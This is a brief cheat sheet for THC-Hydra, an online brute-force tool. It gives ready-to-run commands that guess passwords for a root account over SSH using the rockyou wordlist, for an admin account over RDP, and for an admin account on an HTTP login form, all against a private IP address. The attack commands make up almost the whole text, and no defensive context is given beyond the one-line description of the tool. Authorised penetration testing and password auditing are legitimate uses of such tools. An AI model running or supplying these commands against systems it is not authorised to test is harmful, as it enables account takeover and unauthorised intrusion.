THC-Hydra is the fastest online brute force tool, supporting 50+ protocols.
hydra -l root -P rockyou.txt ssh://192.168.1.10
hydra -l admin -P pass.txt rdp://192.168.1.10
hydra -l admin -P pass.txt 192.168.1.10 http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid"